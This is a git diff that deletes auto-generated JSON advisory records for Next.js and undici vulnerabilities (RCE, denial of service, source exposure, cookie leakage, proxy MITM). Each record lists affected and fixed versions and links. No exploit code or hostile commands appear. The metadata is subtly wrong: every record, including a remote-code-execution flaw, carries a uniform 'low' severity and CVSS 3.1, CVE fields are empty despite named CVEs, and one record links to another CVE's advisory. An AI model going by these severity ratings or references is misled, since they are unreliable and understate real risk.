    -  "summary": "It was discovered that the fix for [CVE-2025-55184](https://github.com/advisories/GHSA-2m3v-v2m8-q956) in React Server Components was incomplete and did not fully mitigate denial-of-service conditions across all payload types.  As a result, certain crafted inputs could still trigger excessive resource consumption. \n\nThis vulnerability affects React versions 19.0.2, 19.1.3, and 19.2.2, as well as frameworks that bundle or depend on these versions, including Next.js 13.x, 14.x, 15.x, and 16.x when using the App Router. The issue is tracked upstream as [CVE-2025-67779](https://www.cve.org/CVERecord?id=CVE-2025-67779).\n\nA malicious actor can send a specially crafted HTTP request to a Server Function endpoint that, when deserialized, causes the React Server Components runtime to enter an infinite loop. This can lead to sustained CPU consumption and cause the affected server process to become unresponsive, resulting in a denial-of-service condition in unpatched environments.",
    -  "published_at": "2025-12-12T17:21:57Z",
    -  "updated_at": "2026-02-04T02:46:38.768104Z",
    -  "severity": "low",
    -  "cvss_score": 3.1,
    -  "exploit_status": "unknown",
    -  "source_confidence": "official",
    -  "official_source_url": "https://github.com/vercel/next.js/security/advisories/GHSA-5j59-xgg2-r9c4",
    -  "secondary_source_urls": [
    -    "https://nvd.nist.gov/vuln/detail/CVE-2025-67779",
    -    "https://github.com/vercel/next.js",
    -    "https://nextjs.org/blog/security-update-2025-12-11",
    -    "https://react.dev/blog/2025/12/11/denial-of-service-and-source-code-exposure-in-react-server-components",
    -    "https://www.cve.org/CVERecord?id=CVE-2025-55184",
    -    "https://www.facebook.com/security/advisories/cve-2025-67779"
    -  ],
    -  "aliases": [
    -    "GHSA-5j59-xgg2-r9c4"
    -  ],
    -  "cve_ids": [],
    -  "ghsa_ids": [
    -    "GHSA-5j59-xgg2-r9c4"
    -  ],
    -  "osv_ids": [
    -    "GHSA-5j59-xgg2-r9c4"
    -  ],
    -  "affected_versions": [
    -    "introduced=13.3.1-canary.0, fixed<14.2.35",
    -    "introduced=15.0.6, fixed<15.0.7",
    -    "introduced=15.1.10, fixed<15.1.11",
    -    "introduced=15.2.7, fixed<15.2.8",
    -    "introduced=15.3.7, fixed<15.3.8",
    -    "introduced=15.4.9, fixed<15.4.10",
    -    "introduced=15.5.8, fixed<15.5.9",
    -    "introduced=15.6.0-canary.59, fixed<15.6.0-canary.60",
    -    "introduced=16.0.9, fixed<16.0.10",
    -    "introduced=16.1.0-canary.17, fixed<16.1.0-canary.19"
    -  ],
    -  "fixed_versions": [
    -    "14.2.35",
    -    "15.0.7",
    -    "15.1.11",
    -    "15.2.8",
    -    "15.3.8",
    -    "15.4.10",
    -    "15.5.9",
    -    "15.6.0-canary.60",
    -    "16.0.10",
    -    "16.1.0-canary.19"
    -  ],
    -  "package_name": "next",
    -  "render_markdown": true,
    -  "case_path": "07-framework-security/frameworks/nextjs/cases/nextjs-ghsa-5j59-xgg2-r9c4.md",
    -  "secure_code_topics": [
    -    "authz-server-side-recheck",
    -    "proxy-trust-boundary",
    -    "token-cookie-storage"
    -  ],
    -  "status": "generated",
    -  "triage_reasons": [],
    -  "verification_status": "triage-manual",
    -  "verification_mode": "synthetic",
    -  "last_verified_at": null,
    -  "last_run_id": null,
    -  "evidence_bundle": null,
    -  "browser_evidence": {
    -    "required": false,
    -    "present": false,
    -    "refs": []
    -  },
    -  "repro_profile_id": "proxy-boundary-generic",
    -  "artifact_mode": "synthetic",
    -  "blocked_reason": null,
    -  "metadata": {
    -    "source_names": [
    -      "OSV Next.js"
    -    ],
    -    "source_kinds": [
    -      "osv-batch"
    -    ],
    -    "candidate_count": 1
    -  }
    -}
    diff --git a/08-threat-intel/registry/advisories/nextjs--GHSA-9qr9-h5gf-34mp.json b/08-threat-intel/registry/advisories/nextjs--GHSA-9qr9-h5gf-34mp.json
    deleted file mode 100644
    index db38f2be..00000000
    --- a/08-threat-intel/registry/advisories/nextjs--GHSA-9qr9-h5gf-34mp.json
    +++ /dev/null
    @@ -1,83 +0,0 @@
    -{
    -  "canonical_id": "nextjs--GHSA-9qr9-h5gf-34mp",
    -  "system_id": "nextjs",
    -  "display_name": "Next.js",
    -  "category": "frameworks",
    -  "advisory_mode": "core",
    -  "title": "Next.js is vulnerable to RCE in React flight protocol",
    -  "summary": "A vulnerability affects certain React packages1 for versions 19.0.0, 19.1.0, 19.1.1, and 19.2.0 and frameworks that use the affected packages, including Next.js 15.x and 16.x using the App Router. The issue is tracked upstream as [CVE-2025-55182](https://www.cve.org/CVERecord?id=CVE-2025-55182). \n\nFixed in:\nReact: 19.0.1, 19.1.2, 19.2.1\nNext.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7, 15.6.0-canary.58, 16.1.0-canary.12+\n\nThe vulnerability also affects experimental canary releases starting with 14.3.0-canary.77. Users on any of the 14.3 canary builds should either downgrade to a 14.x stable release or 14.3.0-canary.76.\n\nAll users of stable 15.x or 16.x Next.js versions should upgrade to a patched, stable version immediately.\n\n1 The affected React packages are:\n- react-server-dom-parcel\n- react-server-dom-turbopack\n- react-server-dom-webpack",
    -  "published_at": "2025-12-03T19:07:11Z",
    -  "updated_at": "2026-02-04T03:45:15.823345Z",
    -  "severity": "low",
    -  "cvss_score": 3.1,
    -  "exploit_status": "unknown",
    -  "source_confidence": "official",
    -  "official_source_url": "https://github.com/facebook/react/security/advisories/GHSA-fv66-9v8q-g76r",
    -  "secondary_source_urls": [
    -    "https://github.com/vercel/next.js/security/advisories/GHSA-9qr9-h5gf-34mp",
    -    "https://github.com/vitejs/vite-plugin-react/security/advisories/GHSA-fmh4-wr37-44fp",
    -    "https://nvd.nist.gov/vuln/detail/CVE-2025-55182",
    -    "https://github.com/vercel/next.js"
    -  ],
    -  "aliases": [
    -    "GHSA-9qr9-h5gf-34mp"
    -  ],
    -  "cve_ids": [],
    -  "ghsa_ids": [
    -    "GHSA-9qr9-h5gf-34mp"
    -  ],
    -  "osv_ids": [
    -    "GHSA-9qr9-h5gf-34mp"
    -  ],
    -  "affected_versions": [
    -    "introduced=14.3.0-canary.77, fixed<15.0.5",
    -    "introduced=15.1.0-canary.0, fixed<15.1.9",
    -    "introduced=15.2.0-canary.0, fixed<15.2.6",
    -    "introduced=15.3.0-canary.0, fixed<15.3.6",
    -    "introduced=15.4.0-canary.0, fixed<15.4.8",
    -    "introduced=15.5.0-canary.0, fixed<15.5.7",
    -    "introduced=16.0.0-canary.0, fixed<16.0.7"
    -  ],
    -  "fixed_versions": [
    -    "15.0.5",
    -    "15.1.9",
    -    "15.2.6",
    -    "15.3.6",
    -    "15.4.8",
    -    "15.5.7",
    -    "16.0.7"
    -  ],
    -  "package_name": "next",
    -  "render_markdown": true,
    -  "case_path": "07-framework-security/frameworks/nextjs/cases/nextjs-ghsa-9qr9-h5gf-34mp.md",
    -  "secure_code_topics": [
    -    "authz-server-side-recheck",
    -    "proxy-trust-boundary",
    -    "token-cookie-storage",
    -    "dependency-upgrade-policy"
    -  ],
    -  "status": "generated",
    -  "triage_reasons": [],
    -  "verification_status": "triage-manual",
    -  "verification_mode": "synthetic",
    -  "last_verified_at": null,
    -  "last_run_id": null,
    -  "evidence_bundle": null,
    -  "browser_evidence": {
    -    "required": false,
    -    "present": false,
    -    "refs": []
    -  },
    -  "repro_profile_id": "proxy-boundary-generic",
    -  "artifact_mode": "synthetic",
    -  "blocked_reason": null,
    -  "metadata": {
    -    "source_names": [
    -      "OSV Next.js"
    -    ],
    -    "source_kinds": [
    -      "osv-batch"
    -    ],
    -    "candidate_count": 1
    -  }
    -}
    diff --git a/08-threat-intel/registry/advisories/nextjs--GHSA-h25m-26qc-wcjf.json b/08-threat-intel/registry/advisories/nextjs--GHSA-h25m-26qc-wcjf.json
    deleted file mode 100644
    index 37c36f11..00000000
    --- a/08-threat-intel/registry/advisories/nextjs--GHSA-h25m-26qc-wcjf.json
    +++ /dev/null
    @@ -1,88 +0,0 @@
    -{
    -  "canonical_id": "nextjs--GHSA-h25m-26qc-wcjf",
    -  "system_id": "nextjs",
    -  "display_name": "Next.js",
    -  "category": "frameworks",
    -  "advisory_mode": "core",
    -  "title": "Next.js HTTP request deserialization can lead to DoS when using insecure React Server Components",
    -  "summary": "A vulnerability affects certain React Server Components packages for versions 19.0.x, 19.1.x, and 19.2.x and frameworks that use the affected packages, including Next.js 13.x, 14.x, 15.x, and 16.x using the App Router. The issue is tracked upstream as [CVE-2026-23864](https://github.com/facebook/react/security/advisories/GHSA-83fc-fqcc-2hmg).\n\nA specially crafted HTTP request can be sent to any App Router Server Function endpoint that, when deserialized, may trigger excessive CPU usage, out-of-memory exceptions, or server crashes. This can result in denial of service in unpatched environments.",
    -  "published_at": "2026-01-28T15:38:01Z",
    -  "updated_at": "2026-02-13T00:43:52.836085Z",
    -  "severity": "low",
    -  "cvss_score": 3.1,
    -  "exploit_status": "unknown",
    -  "source_confidence": "official",
    -  "official_source_url": "https://github.com/facebook/react/security/advisories/GHSA-83fc-fqcc-2hmg",
    -  "secondary_source_urls": [
    -    "https://github.com/vercel/next.js/security/advisories/GHSA-h25m-26qc-wcjf",
    -    "https://nvd.nist.gov/vuln/detail/CVE-2026-23864",
    -    "https://github.com/vercel/next.js",
    -    "https://vercel.com/changelog/summary-of-cve-2026-23864"
    -  ],
    -  "aliases": [
    -    "GHSA-h25m-26qc-wcjf"
    -  ],
    -  "cve_ids": [],
    -  "ghsa_ids": [
    -    "GHSA-h25m-26qc-wcjf"
    -  ],
    -  "osv_ids": [
    -    "GHSA-h25m-26qc-wcjf"
    -  ],
    -  "affected_versions": [
    -    "introduced=13.0.0, fixed<15.0.8",
    -    "introduced=15.1.1-canary.0, fixed<15.1.12",
    -    "introduced=15.2.0-canary.0, fixed<15.2.9",
    -    "introduced=15.3.0-canary.0, fixed<15.3.9",
    -    "introduced=15.4.0-canary.0, fixed<15.4.11",
    -    "introduced=15.5.1-canary.0, fixed<15.5.10",
    -    "introduced=15.6.0-canary.0, fixed<15.6.0-canary.61",
    -    "introduced=16.0.0-beta.0, fixed<16.0.11",
    -    "introduced=16.1.0-canary.0, fixed<16.1.5"
    -  ],
    -  "fixed_versions": [
    -    "15.0.8",
    -    "15.1.12",
    -    "15.2.9",
    -    "15.3.9",
    -    "15.4.11",
    -    "15.5.10",
    -    "15.6.0-canary.61",
    -    "16.0.11",
    -    "16.1.5"
    -  ],
    -  "package_name": "next",
    -  "render_markdown": true,
    -  "case_path": "07-framework-security/frameworks/nextjs/cases/nextjs-ghsa-h25m-26qc-wcjf.md",
    -  "secure_code_topics": [
    -    "authz-server-side-recheck",
    -    "proxy-trust-boundary",
    -    "token-cookie-storage",
    -    "dependency-upgrade-policy",
    -    "deserialization-safety"
    -  ],
    -  "status": "generated",
    -  "triage_reasons": [],
    -  "verification_status": "triage-manual",
    -  "verification_mode": "synthetic",
    -  "last_verified_at": null,
    -  "last_run_id": null,
    -  "evidence_bundle": null,
    -  "browser_evidence": {
    -    "required": false,
    -    "present": false,
    -    "refs": []
    -  },
    -  "repro_profile_id": "deserialization-generic",
    -  "artifact_mode": "synthetic",
    -  "blocked_reason": null,
    -  "metadata": {
    -    "source_names": [
    -      "OSV Next.js"
    -    ],
    -    "source_kinds": [
    -      "osv-batch"
    -    ],
    -    "candidate_count": 1
    -  }
    -}
    diff --git a/08-threat-intel/registry/advisories/nextjs--GHSA-mwv6-3258-q52c.json b/08-threat-intel/registry/advisories/nextjs--GHSA-mwv6-3258-q52c.json
    deleted file mode 100644
    index 569a061a..00000000
    --- a/08-threat-intel/registry/advisories/nextjs--GHSA-mwv6-3258-q52c.json
    +++ /dev/null
    @@ -1,88 +0,0 @@
    -{
    -  "canonical_id": "nextjs--GHSA-mwv6-3258-q52c",
    -  "system_id": "nextjs",
    -  "display_name": "Next.js",
    -  "category": "frameworks",
    -  "advisory_mode": "core",
    -  "title": "Next Vulnerable to Denial of Service with Server Components",
    -  "summary": "A vulnerability affects certain React packages for versions 19.0.0, 19.0.1, 19.1.0, 19.1.1, 19.1.2, 19.2.0, and 19.2.1 and frameworks that use the affected packages, including Next.js 15.x and 16.x using the App Router. The issue is tracked upstream as [CVE-2025-55184](https://www.cve.org/CVERecord?id=CVE-2025-55184).\n\nA malicious HTTP request can be crafted and sent to any App Router endpoint that, when deserialized, can cause the server process to hang and consume CPU. This can result in denial of service in unpatched environments.",
    -  "published_at": "2025-12-11T22:49:27Z",
    -  "updated_at": "2026-02-04T03:55:54.855562Z",
    -  "severity": "low",
    -  "cvss_score": 3.1,
    -  "exploit_status": "unknown",
    -  "source_confidence": "official",
    -  "official_source_url": "https://github.com/vercel/next.js/security/advisories/GHSA-mwv6-3258-q52c",
    -  "secondary_source_urls": [
    -    "https://github.com/vercel/next.js",
    -    "https://nextjs.org/blog/security-update-2025-12-11",
    -    "https://www.cve.org/CVERecord?id=CVE-2025-55184"
    -  ],
    -  "aliases": [
    -    "GHSA-mwv6-3258-q52c"
    -  ],
    -  "cve_ids": [],
    -  "ghsa_ids": [
    -    "GHSA-mwv6-3258-q52c"
    -  ],
    -  "osv_ids": [
    -    "GHSA-mwv6-3258-q52c"
    -  ],
    -  "affected_versions": [
    -    "introduced=13.3.0, fixed<14.2.34",
    -    "introduced=15.0.0-canary.0, fixed<15.0.6",
    -    "introduced=15.1.1-canary.0, fixed<15.1.10",
    -    "introduced=15.2.0-canary.0, fixed<15.2.7",
    -    "introduced=15.3.0-canary.0, fixed<15.3.7",
    -    "introduced=15.4.0-canary.0, fixed<15.4.9",
    -    "introduced=15.5.1-canary.0, fixed<15.5.8",
    -    "introduced=15.6.0-canary.0, fixed<15.6.0-canary.59",
    -    "introduced=16.0.0-beta.0, fixed<16.0.9",
    -    "introduced=16.1.0-canary.0, fixed<16.1.0-canary.17"
    -  ],
    -  "fixed_versions": [
    -    "14.2.34",
    -    "15.0.6",
    -    "15.1.10",
    -    "15.2.7",
    -    "15.3.7",
    -    "15.4.9",
    -    "15.5.8",
    -    "15.6.0-canary.59",
    -    "16.0.9",
    -    "16.1.0-canary.17"
    -  ],
    -  "package_name": "next",
    -  "render_markdown": true,
    -  "case_path": "07-framework-security/frameworks/nextjs/cases/nextjs-ghsa-mwv6-3258-q52c.md",
    -  "secure_code_topics": [
    -    "authz-server-side-recheck",
    -    "proxy-trust-boundary",
    -    "token-cookie-storage",
    -    "dependency-upgrade-policy"
    -  ],
    -  "status": "generated",
    -  "triage_reasons": [],
    -  "verification_status": "triage-manual",
    -  "verification_mode": "synthetic",
    -  "last_verified_at": null,
    -  "last_run_id": null,
    -  "evidence_bundle": null,
    -  "browser_evidence": {
    -    "required": false,
    -    "present": false,
    -    "refs": []
    -  },
    -  "repro_profile_id": "proxy-boundary-generic",
    -  "artifact_mode": "synthetic",
    -  "blocked_reason": null,
    -  "metadata": {
    -    "source_names": [
    -      "OSV Next.js"
    -    ],
    -    "source_kinds": [
    -      "osv-batch"
    -    ],
    -    "candidate_count": 1
    -  }
    -}
    diff --git a/08-threat-intel/registry/advisories/nextjs--GHSA-w37m-7fhw-fmv9.json b/08-threat-intel/registry/advisories/nextjs--GHSA-w37m-7fhw-fmv9.json
    deleted file mode 100644
    index 550c15cb..00000000
    --- a/08-threat-intel/registry/advisories/nextjs--GHSA-w37m-7fhw-fmv9.json
    +++ /dev/null
    @@ -1,86 +0,0 @@
    -{
    -  "canonical_id": "nextjs--GHSA-w37m-7fhw-fmv9",
    -  "system_id": "nextjs",
    -  "display_name": "Next.js",
    -  "category": "frameworks",
    -  "advisory_mode": "core",
    -  "title": "Next Server Actions Source Code Exposure ",
    -  "summary": "A vulnerability affects certain React packages for versions 19.0.0, 19.0.1, 19.1.0, 19.1.1, 19.1.2, 19.2.0, and 19.2.1 and frameworks that use the affected packages, including Next.js 15.x and 16.x using the App Router. The issue is tracked upstream as [CVE-2025-55183](https://www.cve.org/CVERecord?id=CVE-2025-55183).\n\nA malicious HTTP request can be crafted and sent to any App Router endpoint that can return the compiled source code of [Server Functions](https://react.dev/reference/rsc/server-functions). This could reveal business logic, but would not expose secrets unless they were hardcoded directly into [Server Function](https://react.dev/reference/rsc/server-functions) code.",
    -  "published_at": "2025-12-11T22:49:56Z",
    -  "updated_at": "2026-02-04T02:51:40.627151Z",
    -  "severity": "low",
    -  "cvss_score": 3.1,
    -  "exploit_status": "unknown",
    -  "source_confidence": "official",
    -  "official_source_url": "https://github.com/vercel/next.js/security/advisories/GHSA-w37m-7fhw-fmv9",
    -  "secondary_source_urls": [
    -    "https://github.com/vercel/next.js",
    -    "https://nextjs.org/blog/security-update-2025-12-11",
    -    "https://www.cve.org/CVERecord?id=CVE-2025-55183"
    -  ],
    -  "aliases": [
    -    "GHSA-w37m-7fhw-fmv9"
    -  ],
    -  "cve_ids": [],
    -  "ghsa_ids": [
    -    "GHSA-w37m-7fhw-fmv9"
    -  ],
    -  "osv_ids": [
    -    "GHSA-w37m-7fhw-fmv9"
    -  ],
    -  "affected_versions": [
    -    "introduced=15.0.0-canary.0, fixed<15.0.6",
    -    "introduced=15.1.1-canary.0, fixed<15.1.10",
    -    "introduced=15.2.0-canary.0, fixed<15.2.7",
    -    "introduced=15.3.0-canary.0, fixed<15.3.7",
    -    "introduced=15.4.0-canary.0, fixed<15.4.9",
    -    "introduced=15.5.1-canary.0, fixed<15.5.8",
    -    "introduced=15.6.0-canary.0, fixed<15.6.0-canary.59",
    -    "introduced=16.0.0-beta.0, fixed<16.0.9",
    -    "introduced=16.1.0-canary.0, fixed<16.1.0-canary.17"
    -  ],
    -  "fixed_versions": [
    -    "15.0.6",
    -    "15.1.10",
    -    "15.2.7",
    -    "15.3.7",
    -    "15.4.9",
    -    "15.5.8",
    -    "15.6.0-canary.59",
    -    "16.0.9",
    -    "16.1.0-canary.17"
    -  ],
    -  "package_name": "next",
    -  "render_markdown": true,
    -  "case_path": "07-framework-security/frameworks/nextjs/cases/nextjs-ghsa-w37m-7fhw-fmv9.md",
    -  "secure_code_topics": [
    -    "authz-server-side-recheck",
    -    "proxy-trust-boundary",
    -    "token-cookie-storage",
    -    "dependency-upgrade-policy"
    -  ],
    -  "status": "generated",
    -  "triage_reasons": [],
    -  "verification_status": "triage-manual",
    -  "verification_mode": "synthetic",
    -  "last_verified_at": null,
    -  "last_run_id": null,
    -  "evidence_bundle": null,
    -  "browser_evidence": {
    -    "required": false,
    -    "present": false,
    -    "refs": []
    -  },
    -  "repro_profile_id": "proxy-boundary-generic",
    -  "artifact_mode": "synthetic",
    -  "blocked_reason": null,
    -  "metadata": {
    -    "source_names": [
    -      "OSV Next.js"
    -    ],
    -    "source_kinds": [
    -      "osv-batch"
    -    ],
    -    "candidate_count": 1
    -  }
    -}
    diff --git a/08-threat-intel/registry/advisories/undici--CVE-2022-31151.json b/08-threat-intel/registry/advisories/undici--CVE-2022-31151.json
    deleted file mode 100644
    index 039d0d1e..00000000
    --- a/08-threat-intel/registry/advisories/undici--CVE-2022-31151.json
    +++ /dev/null
    @@ -1,79 +0,0 @@
    -{
    -  "canonical_id": "undici--CVE-2022-31151",
    -  "system_id": "undici",
    -  "display_name": "Undici",
    -  "category": "frameworks",
    -  "advisory_mode": "core",
    -  "title": "undici before v5.8.0 vulnerable to uncleared cookies on cross-host / cross-origin redirect",
    -  "summary": "### Impact\n\nAuthorization headers are already cleared on cross-origin redirect in\nhttps://github.com/nodejs/undici/blob/main/lib/handler/redirect.js#L189, based on https://github.com/nodejs/undici/issues/872.\n\nHowever, cookie headers which are sensitive headers and are official headers found in the spec, remain uncleared. There also has been active discussion of implementing a cookie store https://github.com/nodejs/undici/pull/1441, which suggests that there are active users using cookie headers in undici.\nAs such this may lead to accidental leakage of cookie to a 3rd-party site or a malicious attacker who can control the redirection target (ie. an open redirector) to leak the cookie to the 3rd party site.\n\n### Patches\n\nThis was patched in v5.8.0.\n\n### Workarounds\n\nBy default, this vulnerability is not exploitable.\nDo not enable redirections, i.e. `maxRedirections: 0` (the default). \n\n### References\n\nhttps://hackerone.com/reports/1635514\nhttps://curl.se/docs/CVE-2018-1000007.html\nhttps://curl.se/docs/CVE-2022-27776.html\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [undici repository](https://github.com/nodejs/undici/issues)\n* To make a report, follow the [SECURITY](https://github.com/nodejs/node/blob/HEAD/SECURITY.md) document\n",
    -  "published_at": "2022-07-21T20:31:05Z",
    -  "updated_at": "2026-02-04T03:02:08.652391Z",
    -  "severity": "low",
    -  "cvss_score": 3.1,
    -  "exploit_status": "unknown",
    -  "source_confidence": "official",
    -  "official_source_url": "https://github.com/nodejs/undici/security/advisories/GHSA-q768-x9m6-m9qp",
    -  "secondary_source_urls": [
    -    "https://nvd.nist.gov/vuln/detail/CVE-2022-31151",
    -    "https://github.com/nodejs/undici/issues/872",
    -    "https://github.com/nodejs/undici/pull/1441",
    -    "https://github.com/nodejs/undici/commit/0a5bee9465e627be36bac88edf7d9bbc9626126d",
    -    "https://hackerone.com/reports/1635514",
    -    "https://github.com/nodejs/undici",
    -    "https://github.com/nodejs/undici/blob/main/lib/handler/redirect.js#L189",
    -    "https://github.com/nodejs/undici/releases/tag/v5.8.0",
    -    "https://security.netapp.com/advisory/ntap-20220909-0006"
    -  ],
    -  "aliases": [
    -    "CVE-2022-31151",
    -    "GHSA-q768-x9m6-m9qp"
    -  ],
    -  "cve_ids": [
    -    "CVE-2022-31151"
    -  ],
    -  "ghsa_ids": [
    -    "GHSA-q768-x9m6-m9qp"
    -  ],
    -  "osv_ids": [
    -    "GHSA-q768-x9m6-m9qp"
    -  ],
    -  "affected_versions": [
    -    "introduced=0, fixed<5.8.0"
    -  ],
    -  "fixed_versions": [
    -    "5.8.0"
    -  ],
    -  "package_name": "undici",
    -  "render_markdown": true,
    -  "case_path": "07-framework-security/frameworks/undici/cases/undici-cve-2022-31151.md",
    -  "secure_code_topics": [
    -    "ssrf-url-validation",
    -    "proxy-trust-boundary",
    -    "token-cookie-storage",
    -    "dependency-upgrade-policy"
    -  ],
    -  "status": "generated",
    -  "triage_reasons": [],
    -  "verification_status": "triage-manual",
    -  "verification_mode": "synthetic",
    -  "last_verified_at": null,
    -  "last_run_id": null,
    -  "evidence_bundle": null,
    -  "browser_evidence": {
    -    "required": false,
    -    "present": false,
    -    "refs": []
    -  },
    -  "repro_profile_id": "ssrf-generic",
    -  "artifact_mode": "synthetic",
    -  "blocked_reason": null,
    -  "metadata": {
    -    "source_names": [
    -      "OSV Undici"
    -    ],
    -    "source_kinds": [
    -      "osv-batch"
    -    ],
    -    "candidate_count": 1
    -  }
    -}
    diff --git a/08-threat-intel/registry/advisories/undici--CVE-2022-32210.json b/08-threat-intel/registry/advisories/undici--CVE-2022-32210.json
    deleted file mode 100644
    index e0691e6b..00000000
    --- a/08-threat-intel/registry/advisories/undici--CVE-2022-32210.json
    +++ /dev/null
    @@ -1,71 +0,0 @@
    -{
    -  "canonical_id": "undici--CVE-2022-32210",
    -  "system_id": "undici",
    -  "display_name": "Undici",
    -  "category": "frameworks",
    -  "advisory_mode": "core",
    -  "title": "ProxyAgent vulnerable to MITM",
    -  "summary": "### Description\n\n`Undici.ProxyAgent` never verifies the remote server's certificate, and always exposes all request & response data to the proxy. This unexpectedly means that proxies can MitM all HTTPS traffic, and if the proxy's URL is HTTP then it also means that nominally HTTPS requests are actually sent via plain-text HTTP between Undici and the proxy server.\n\n### Impact\n\nThis affects all use of HTTPS via HTTP proxy using **`Undici.ProxyAgent`**  with Undici or Node's global `fetch`. In this case, it removes all HTTPS security from all requests sent using Undici's `ProxyAgent`, allowing trivial MitM attacks by anybody on the network path between the client and the target server (local network users, your ISP, the proxy, the target server's ISP, etc).\nThis less seriously affects HTTPS via HTTPS proxies. When you send HTTPS via a proxy to a remote server, the proxy can freely view or modify all HTTPS traffic unexpectedly (but only the proxy). \n\n### Patches\n\nThis issue was patched in Undici v5.5.1.\n\n### Workarounds\n\nAt the time of writing, the only workaround is to not use `ProxyAgent` as a dispatcher for TLS Connections.",
    -  "published_at": "2022-06-17T01:02:29Z",
    -  "updated_at": "2026-03-13T22:15:23.541247Z",
    -  "severity": "low",
    -  "cvss_score": 3.1,
    -  "exploit_status": "unknown",
    -  "source_confidence": "official",
    -  "official_source_url": "https://github.com/nodejs/undici/security/advisories/GHSA-pgw7-wx7w-2w33",
    -  "secondary_source_urls": [
    -    "https://nvd.nist.gov/vuln/detail/CVE-2022-32210",
    -    "https://hackerone.com/reports/1583680",
    -    "https://github.com/nodejs/undici"
    -  ],
    -  "aliases": [
    -    "CVE-2022-32210",
    -    "GHSA-pgw7-wx7w-2w33"
    -  ],
    -  "cve_ids": [
    -    "CVE-2022-32210"
    -  ],
    -  "ghsa_ids": [
    -    "GHSA-pgw7-wx7w-2w33"
    -  ],
    -  "osv_ids": [
    -    "GHSA-pgw7-wx7w-2w33"
    -  ],
    -  "affected_versions": [
    -    "introduced=4.8.2, fixed<5.5.1"
    -  ],
    -  "fixed_versions": [
    -    "5.5.1"
    -  ],
    -  "package_name": "undici",
    -  "render_markdown": true,
    -  "case_path": "07-framework-security/frameworks/undici/cases/undici-cve-2022-32210.md",
    -  "secure_code_topics": [
    -    "ssrf-url-validation",
    -    "proxy-trust-boundary"
    -  ],
    -  "status": "generated",
    -  "triage_reasons": [],
    -  "verification_status": "triage-manual",
    -  "verification_mode": "synthetic",
    -  "last_verified_at": null,
    -  "last_run_id": null,
    -  "evidence_bundle": null,
    -  "browser_evidence": {
    -    "required": false,
    -    "present": false,
    -    "refs": []
    -  },
    -  "repro_profile_id": "ssrf-generic",
    -  "artifact_mode": "synthetic",
    -  "blocked_reason": null,
    -  "metadata": {
    -    "source_names": [
    -      "OSV Undici"
    -    ],
    -    "source_kinds": [
    -      "osv-batch"
    -    ],
    -    "candidate_count": 1
    -  }
    -}
    diff --git a/08-threat-intel/registry/advisories/undici--CVE-2023-45143.json b/08-threat-intel/registry/advisories/undici--CVE-2023-45143.json
    deleted file mode 100644
    index 6afa4ecc..00000000
    --- a/08-threat-intel/registry/advisories/undici--CVE-2023-45143.json
    +++ /dev/null
    @@ -1,81 +0,0 @@
    -{
    -  "canonical_id": "undici--CVE-2023-45143",
    -  "system_id": "undici",
    -  "display_name": "Undici",
    -  "category": "frameworks",
    -  "advisory_mode": "core",
    -  "title": "Undici's cookie header not cleared on cross-origin redirect in fetch",
    -  "summary": "### Impact\n\nUndici clears Authorization headers on cross-origin redirects, but does not clear `Cookie` headers. By design, `cookie` headers are [forbidden request headers](https://fetch.spec.whatwg.org/#forbidden-request-header), disallowing them to be set in `RequestInit.headers` in browser environments. Since Undici handles headers more liberally than the specification, there was a disconnect from the assumptions the spec made, and Undici's implementation of fetch.\n\nAs such this may lead to accidental leakage of cookie to a 3rd-party site or a malicious attacker who can control the redirection target (ie. an open redirector) to leak the cookie to the 3rd party site.\n\n### Patches\n\nThis was patched in [e041de359221ebeae04c469e8aff4145764e6d76](https://github.com/nodejs/undici/commit/e041de359221ebeae04c469e8aff4145764e6d76), which is included in version 5.26.2.\n",
    -  "published_at": "2023-10-16T14:05:37Z",
    -  "updated_at": "2026-02-04T02:35:56.289390Z",
    -  "severity": "low",
    -  "cvss_score": 3.1,
    -  "exploit_status": "unknown",
    -  "source_confidence": "official",
    -  "official_source_url": "https://github.com/nodejs/undici/security/advisories/GHSA-q768-x9m6-m9qp",
    -  "secondary_source_urls": [
    -    "https://github.com/nodejs/undici/security/advisories/GHSA-wqq4-5wpv-mx2g",
    -    "https://nvd.nist.gov/vuln/detail/CVE-2023-45143",
    -    "https://github.com/nodejs/undici/commit/e041de359221ebeae04c469e8aff4145764e6d76",
    -    "https://hackerone.com/reports/2166948",
    -    "https://github.com/nodejs/undici",
    -    "https://github.com/nodejs/undici/releases/tag/v5.26.2",
    -    "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/3N4NJ7FR4X4FPZUGNTQAPSTVB2HB2Y4A",
    -    "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/E72T67UPDRXHIDLO3OROR25YAMN4GGW5",
    -    "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/FNA62Q767CFAFHBCDKYNPBMZWB7TWYVU",
    -    "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/HT7T2R4MQKLIF4ODV4BDLPARWFPCJ5CZ",
    -    "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/LKYHSZQFDNR7RSA7LHVLLIAQMVYCUGBG",
    -    "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/X6QXN4ORIVF6XBW4WWFE7VNPVC74S45Y"
    -  ],
    -  "aliases": [
    -    "CVE-2023-45143",
    -    "GHSA-wqq4-5wpv-mx2g"
    -  ],
    -  "cve_ids": [
    -    "CVE-2023-45143"
    -  ],
    -  "ghsa_ids": [
    -    "GHSA-wqq4-5wpv-mx2g"
    -  ],
    -  "osv_ids": [
    -    "GHSA-wqq4-5wpv-mx2g"
    -  ],
    -  "affected_versions": [
    -    "introduced=0, fixed<5.26.2"
    -  ],
    -  "fixed_versions": [
    -    "5.26.2"
    -  ],
    -  "package_name": "undici",
    -  "render_markdown": true,
    -  "case_path": "07-framework-security/frameworks/undici/cases/undici-cve-2023-45143.md",
    -  "secure_code_topics": [
    -    "ssrf-url-validation",
    -    "proxy-trust-boundary",
    -    "token-cookie-storage"
    -  ],
    -  "status": "generated",
    -  "triage_reasons": [],
    -  "verification_status": "triage-manual",
    -  "verification_mode": "synthetic",
    -  "last_verified_at": null,
    -  "last_run_id": null,
    -  "evidence_bundle": null,
    -  "browser_evidence": {
    -    "required": false,
    -    "present": false,
    -    "refs": []
    -  },
    -  "repro_profile_id": "ssrf-generic",
    -  "artifact_mode": "synthetic",
    -  "blocked_reason": null,
    -  "metadata": {
    -    "source_names": [
    -      "OSV Undici"
    -    ],
